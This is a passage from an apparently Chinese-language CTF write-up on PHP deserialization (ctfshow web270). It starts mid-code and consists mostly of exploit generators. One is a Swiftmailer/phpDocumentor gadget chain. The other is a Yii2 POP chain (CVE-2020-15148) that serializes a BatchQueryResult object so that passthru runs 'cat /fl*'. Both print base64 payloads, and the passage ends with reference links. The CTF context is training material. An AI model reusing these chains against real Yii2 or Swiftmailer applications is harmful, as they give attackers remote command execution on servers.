$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
web270 新链子
上一条链子已经没有用了
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
?>
Yii框架链子 参考:::
(CVE 2020 15148)Yii2框架反序列化漏洞 - Wiki
Yii2反序列化RCE 新POP链 - 先知社区
https://www.cnblogs.com/thresh/p/13743081.html
ctfshow—web入门—php反序列化_ctfshow php反序列化-CSDN博客